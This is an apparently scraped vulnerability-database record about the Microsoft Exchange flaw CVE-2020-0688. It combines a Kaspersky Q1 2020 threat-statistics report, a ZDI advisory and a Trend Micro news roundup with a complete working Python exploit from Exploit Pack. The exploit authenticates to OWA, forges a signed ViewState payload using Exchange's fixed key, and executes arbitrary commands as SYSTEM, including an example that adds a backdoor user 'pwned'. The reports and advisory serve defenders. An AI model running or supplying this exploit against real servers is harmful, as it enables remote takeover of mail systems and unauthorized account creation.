[(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201637/sl_malware_report_17-en-miner-kolichestvo-polzovatelej-atakovannyh-majnerami.png>)_\n\n### Attack geography\n\n \n\n_Geography of miner attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201719/sl_malware_report_18-en-miner-map.png>)_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 6.72 \n2 | Ethiopia | 4.90 \n3 | Tanzania | 3.26 \n4 | Sri Lanka | 3.22 \n5 | Uzbekistan | 3.10 \n6 | Rwanda | 2.56 \n7 | Vietnam | 2.54 \n8 | Kazakhstan | 2.45 \n9 | Mozambique | 1.96 \n10 | Pakistan | 1.67 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000)._ \n_** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\nWe already noted that Microsoft Office vulnerabilities are the most common ones. Q1 2020 was no exception: the share of exploits for these vulnerabilities grew to 74.83%. The most popular vulnerability in Microsoft Office was [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), which is related to a stack overflow error in the Equation Editor component. Hard on its heels was [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), which is used to embed a malicious script in an OLE object inside an Office document. Several other vulnerabilities, such as [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-8759](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8759>), were also popular with attackers. In the absence of security updates for Microsoft Office, these vulnerabilities are successfully exploited and the user's system becomes infected.\n\nIn second place were exploits for vulnerabilities in Internet browsers (11.06%). In Q1, cybercriminals attacked a whole host of browsers, including Microsoft Internet Explorer, Google Chrome, and Mozilla Firefox. What's more, some of the vulnerabilities were used in APT attacks, such as [CVE-2020-0674](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674>), which is associated with the incorrect handling of objects in memory in an outdated version of the JScript scripting engine in Internet Explorer, leading to code execution. Another example is the previously identified [CVE-2019-17026](<https://nvd.nist.gov/vuln/detail/CVE-2019-17026>), a data type mismatch vulnerability in Mozilla Firefox's JIT compiler, which also leads to remote code execution. In the event of a successful attack, both browser exploits cause a malware infection. The researchers also detected a targeted attack against Google Chrome exploiting the RCE vulnerability [CVE-2020-6418](<https://nvd.nist.gov/vuln/detail/CVE-2020-6418>) in the JavaScript engine; in addition, the dangerous RCE vulnerability [CVE-2020-0767](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0767>) was detected in a component of the ChakraCore scripting engine used by Microsoft Edge. Although modern browsers have their own protection mechanisms, cybercriminals are forever finding ways around them, very often using chains of exploits to do so. Therefore, it is vital to keep the operating system and software up to date at all times.\n\n_Distribution of exploits used in attacks by type of application attacked, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201812/sl_malware_report_19-vuln.png>)_\n\nThis quarter, a wide range of critical vulnerabilities were detected in operating systems and their components.\n\n * [CVE-2020-0601](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601>) is a vulnerability that exploits an error in the core cryptographic library of Windows, in a certificate validation algorithm that uses elliptic curves. This vulnerability enables the use of fake certificates that the system recognizes as legitimate.\n * [CVE-2020-0729](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0729>) is a vulnerability in processing LNK files in Windows, which allows remote code execution if the user opens a malicious shortcut.\n * [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) is the result of a default configuration error in Microsoft Exchange Server, whereby the same cryptographic keys are used to sign and encrypt serialized ASP.NET ViewState data, enabling attackers to execute their own code on the server side with system rights.\n\nVarious network attacks on system services and network protocols were as popular as ever with attackers. We continue to detect attempts at exploiting vulnerabilities in the SMB protocol using EternalBlue, EternalRomance and similar sets of exploits. In Q1 2020, the new vulnerability [CVE-2020-0796](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>) (SMBGhost) was detected in the SMBv3 network protocol, leading to remote code execution, in which regard the attacker does not even need to know the username/password combination (since the error occurs before the authentication stage); however, it is present only in Windows 10. In Remote Desktop Gateway there were found two critical vulnerabilities ([CVE-2020-0609](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0609>) and [CVE-2020-0610](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0610>)) enabling an unauthorized user to execute remote code in the target system. In addition, there were more frequent attempts to brute-force passwords to Remote Desktop Services and Microsoft SQL Server via the SMB protocol as well.\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Malicious websites are specially created by cybercriminals; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established._\n\nIn Q1 2020, Kaspersky solutions defeated 726,536,269 attacks launched from online resources located in 203 countries worldwide. As many as 442,039,230 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-based attack sources by country, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13202037/sl_malware_report_20-en-web-source.png>)_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country, we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **_Malware class_**_;_ it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Bulgaria | 13.89 \n2 | Tunisia | 13.63 \n3 | Algeria | 13.15 \n4 | Libya | 12.05 \n5 | Bangladesh | 9.79 \n6 | Greece | 9.66 \n7 | Latvia | 9.64 \n8 | Somalia | 9.20 \n9 | Philippines | 9.11 \n10 | Morocco | 9.10 \n11 | Albania | 9.09 \n12 | Taiwan, Province of China | 9.04 \n13 | Mongolia | 9.02 \n14 | Nepal | 8.69 \n15 | Indonesia | 8.62 \n16 | Egypt | 8.61 \n17 | Georgia | 8.47 \n18 | France | 8.44 \n19 | Palestine | 8.34 \n20 | Qatar | 8.30 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts returned by the Web Anti-Virus module that were received from users of Kaspersky products who consented to providing statistical data._\n\nOn average, 6.56% of Internet user' computers worldwide experienced at least one **Malware-class** attack.\n\n_Geography of malicious web-based attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13202126/sl_malware_report_21-en-web-map.png>)_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to computers (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q1 2020, our File Anti-Virus registered **164,653,290** malicious and potentially unwanted objects.** **\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal-computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Afghanistan | 52.20 \n2 | Tajikistan | 47.14 \n3 | Uzbekistan | 45.16 \n4 | Ethiopia | 45.06 \n5 | Myanmar | 43.14 \n6 | Bangladesh | 42.14 \n7 | Kyrgyzstan | 41.52 \n8 | Yemen | 40.88 \n9 | China | 40.67 \n10 | Benin | 40.21 \n11 | Mongolia | 39.58 \n12 | Algeria | 39.55 \n13 | Laos | 39.21 \n14 | Burkina Faso | 39.09 \n15 | Malawi | 38.42 \n16 | Sudan | 38.34 \n17 | Rwanda | 37.84 \n18 | Iraq | 37.82 \n19 | Vietnam | 37.42 \n20 | Mauritania | 37.26 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers _**_Malware-class_**_ local threats were blocked as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13202208/sl_malware_report_22-en-local-map.png>)_\n\nOverall, 19.16% of user computers globally faced at least one **Malware**-class local threat during Q1.", "cvss3": {}, "published": "2020-05-20T10:00:43", "type": "securelist", "title": "IT threat evolution Q1 2020. Statistics", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2017-8759", "CVE-2018-0802", "CVE-2019-17026", "CVE-2020-0601", "CVE-2020-0609", "CVE-2020-0610", "CVE-2020-0674", "CVE-2020-0688", "CVE-2020-0729", "CVE-2020-0767", "CVE-2020-0796", "CVE-2020-6418"], "modified": "2020-05-20T10:00:43", "id": "SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB", "href": "https://securelist.com/it-threat-evolution-q1-2020-statistics/96959/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdi": [{"lastseen": "2022-01-31T22:09:21", "description": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Microsoft Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the Exchange Control Panel web application. The product fails to generate a unique cryptographic key at installation, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-20T00:00:00", "type": "zdi", "title": "Microsoft Exchange Server Exchange Control Panel Fixed Cryptographic Key Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-02-20T00:00:00", "id": "ZDI-20-258", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-258/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "exploitpack": [{"lastseen": "2020-04-01T20:40:18", "description": "\nMicrosoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-02T00:00:00", "title": "Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-02T00:00:00", "id": "EXPLOITPACK:71F27F0B85E2B8F7A6B9272A3136DA05", "href": "", "sourceData": "# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution\n# Date: 2020-02-28\n# Exploit Author: Photubias\n# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688\n# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys\n# Vendor Homepage: https://www.microsoft.com\n# Version: MS Exchange Server 2010 SP3 up to 2019 CU4\n# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019\n# CVE: CVE-2020-0688\n\n#! /usr/bin/env python\n# -*- coding: utf-8 -*- \n''' \n\n \n\tCopyright 2020 Photubias(c)\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n \n File name CVE-2020-0688-Photubias.py\n written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be\n\n This is a native implementation without requirements, written in Python 2.\n Works equally well on Windows as Linux (as MacOS, probably ;-)\n Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net\n\n Example Output:\n CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c \"net user pwned pwned /add\"\n [+] Login worked\n [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570\n [+] Detected OWA version number 15.2.221.12\n [+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!\n [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:\n [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==\n Sending now ...\n'''\nimport urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass\n\n## STATIC STRINGS\n# This string acts as a template for the serialization (contains \"###payload###\" to be replaced and TWO size locations)\nstrSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')\n# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)\nstrSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')\n\ndef convertInt(iInput, length): \n return struct.pack(\"<I\" , int(iInput)).encode('hex')[:length]\n\ndef getYsoserialPayload(sCommand, sSessionId):\n ## PART1 of the payload to hash\n strPart1 = strSerTemplate.replace('###payload###', sCommand)\n ## Fix the length fields\n #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))\n #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))\n strLength1 = convertInt(0x06b8 + len(sCommand),4)\n strLength2 = convertInt(0x04da + len(sCommand),4)\n strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]\n strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]\n \n ## PART2 of the payload to hash\n strPart2 = '274e7bb9'\n for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'\n strPart2 = binascii.unhexlify(strPart2)\n \n strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()\n strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))\n return strResult\n\ndef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):\n if not sTarget[-1:] == '/': sTarget += '/'\n ## Verify Login\n lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}\n try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()\n except: print('[!] Error, ' + sTarget + ' not reachable')\n bLoggedIn = False\n for cookie in oCookjar:\n if cookie.name == 'cadata': bLoggedIn = True\n if not bLoggedIn:\n print('[-] Login Wrong, too bad')\n exit(1)\n print('[+] Login worked')\n\n ## Verify Session ID\n sSessionId = ''\n sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()\n for cookie in oCookjar:\n if 'SessionId' in cookie.name: sSessionId = cookie.value\n print('[+] Got ASP.NET Session ID: ' + sSessionId)\n\n ## Verify OWA Version\n sVersion = ''\n try: sVersion = sResult.split('stylesheet')[0].split('href=\"')[1].split('/')[2]\n except: sVersion = 'favicon'\n if 'favicon' in sVersion:\n print('[*] Problem, this user has never logged in before (wizard detected)')\n print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')\n exit(1)\n print('[+] Detected OWA version number '+sVersion)\n\n ## Verify ViewStateValue\n sViewState = ''\n try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value=\"')[1].split('\"')[0]\n except: pass\n if sViewState == 'B97B4E27':\n print('[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!')\n else:\n print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)\n ans = raw_input('[?] Still want to try the exploit? [y/N]: ')\n if ans == '' or ans.lower() == 'n': exit(1)\n return sSessionId, sTarget, sViewState\n \ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')\n parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='')\n parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')\n parser.add_argument('-c', '--command', help='Command to put behind \"cmd /c \" (e.g. net user pwned pwned /add)', default='')\n args = parser.parse_args()\n if args.target == '' or args.username == '' or args.command == '':\n print('[!] Example usage: ')\n print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c \"net user pwned pwned /add\"')\n else:\n if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')\n else: sPassword = args.password\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n oCookjar = cookielib.CookieJar()\n #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})\n #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)\n oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))\n sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)\n ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')\n if ans.lower() == 'n': exit(0)\n sPayLoad = getYsoserialPayload(args.command, sSessionId)\n print('[+] Got Payload: ' + sPayLoad)\n sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)\n print(' Sending now ...')\n try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))\n except urllib2.HTTPError, e:\n if e.code == '500': print('[+] This probably worked (Error Code 500 received)')\n\nif __name__ == \"__main__\":\n\tmain()", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "trendmicroblog": [{"lastseen": "2020-04-10T15:48:34", "description": "\n\nWelcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, learn about why Zoom has released an update for its Linux, Mac, and Windows apps that removes the meeting ID from the app's title bar. Also, read about Trend Micro\u2019s latest research on cloud-specific security, with examples of threats and risks that organizations could face when migrating to the cloud or using cloud services.\n\nRead on:\n\n[**Trend Micro Study Shows Cloud Misconfiguration as Major Threat**](<https://solutionsreview.com/security-information-event-management/trend-micro-study-shows-cloud-misconfiguration-as-major-threat/>)\n\n_This week, Trend Micro _[_released_](<https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/exploring-common-threats-to-cloud-security>)_ new research findings concerning cloud security, a major area of concern for enterprises of all sizes. The research confirms the role of both human errors and complex deployments in creating cloud-based cyber threats; above all, Trend Micro notes the dangers of cloud misconfiguration to cloud environments. _\n\n[**NCSA Small Business Webinar Series**](<https://blog.trendmicro.com/ncsa-small-business-webinar-series/>)\n\n_The National Cyber Security Alliance is hosting a series of webinars for small business owners, and Trend Micro is proud to support this effort with guest speakers sharing threat intelligence and security expertise. The topics will help small companies deal with the challenges of COVID-19, including sessions on telework, digital spring cleaning, e-commerce security, how to avoid COVID-19 scams and more. _\n\n[**Cisco \u2018Critical Update\u2019 Phishing Attack Steals Webex Credentials**](<https://threatpost.com/cisco-critical-update-phishing-webex/154585/>)\n\n_An ongoing phishing campaign is reeling in victims with a recycled Cisco security advisory that warns of a critical vulnerability. The campaign urges victims to \u201cupdate,\u201d only to steal their credentials for Cisco\u2019s Webex web conferencing platform instead. The campaign is looking to leverage the wave of remote workers who have come to rely on online conferencing tools like Webex and other platforms._\n\n[**Principles of a Cloud Migration \u2013 From Step One to Done**](<https://blog.trendmicro.com/principles-of-a-cloud-migration-from-step-one-to-done/>)\n\n_Cloud migrations are happening every day and analysts predict over 75% of mid-size to large enterprises will migrate a workload to the cloud by 2021 \u2013 but how can you make sure your workload is successful? In this multi-part blog series, Trend Micro explores best practices, forward thinking, and use cases around creating a successful cloud migration from multiple perspectives. _\n\n[**Zoomed In: A Look into a Coinminer Bundled with Zoom Installer**](<https://blog.trendmicro.com/trendlabs-security-intelligence/zoomed-in-a-look-into-a-coinminer-bundled-with-zoom-installer/>)\n\n_Trend Micro recently found a Coinminer bundled with the legitimate installer of video conferencing app Zoom, luring users who want to install the software but end up downloading a malicious file. The compromised files are assumed to come from fraudulent websites. Trend Micro has been working with Zoom to ensure that they are able to communicate this to their users appropriately._\n\n[**Investigation into a Nefilim Attack Shows Signs of Lateral Movement, Possible Data Exfiltration**](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/investigation-into-a-nefilim-attack-shows-signs-of-lateral-movement-possible-data-exfiltration>)\n\n_Trend Micro\u2019s Managed XDR (MxDR) and Incident Response (IR) teams recently investigated an incident involving a company that was hit by the Nefilim ransomware, which was initially discovered in March 2020. What makes Nefilim especially devious is that the threat actors behind the attack threaten to release the victim\u2019s stolen data on an online leak site._\n\n[**Zoom Removes Meeting IDs from App Title Bar to Improve Privacy**](<https://www.zdnet.com/article/zoom-removes-meeting-ids-from-app-title-bar-to-improve-privacy/>)\n\n_Video conferencing service Zoom has released an update for its _[_Linux_](<https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux>)_, _[_Mac_](<https://support.zoom.us/hc/en-us/articles/201361963-New-Updates-for-macOS>)_, and _[_Windows_](<https://support.zoom.us/hc/en-us/articles/201361953-New-Updates-for-Windows>)_ apps that removes the meeting ID from the app's title bar.__ The update comes after the company's users have often leaked their meeting IDs, and even meeting passwords, when sharing screenshots of their meetings on social media._\n\n[**Analysis: Suspicious \u201cVery Hidden\u201d Formula on Excel 4.0 Macro Sheet**](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/analysis-suspicious-very-hidden-formula-on-excel-4-0-macro-sheet>)\n\n_A malicious Microsoft Excel 4.0 Macro sheet with a suspicious formula that is set as \u201cVery Hidden\u201d was submitted by a customer and further analyzed by Trend Micro researchers. The sheet is not readily accessible via the Microsoft Excel User Interface (UI) due to a feature documented in the Microsoft website that allows users to hide sheets. The compromised files were commonly used as an attachment in spam._\n\n[**Actively Exploited MS Exchange Flaw Present on 80% of Exposed Servers**](<https://www.helpnetsecurity.com/2020/04/08/exploit-cve-2020-0688/>)\n\n_Attackers looking to exploit CVE-2020-0688, a critical Microsoft Exchange flaw patched by Microsoft in February 2020, don\u2019t have to look hard to find a server they can attack: according to an internet-wide scan performed by Rapid7 researchers, there are at least 315,000 and possibly as many as 350,000 vulnerable on-premise Exchange servers (out of 433,464 total) out there._\n\n[**Misconfigured Docker Daemon API Ports Attacked for Kinsing Malware 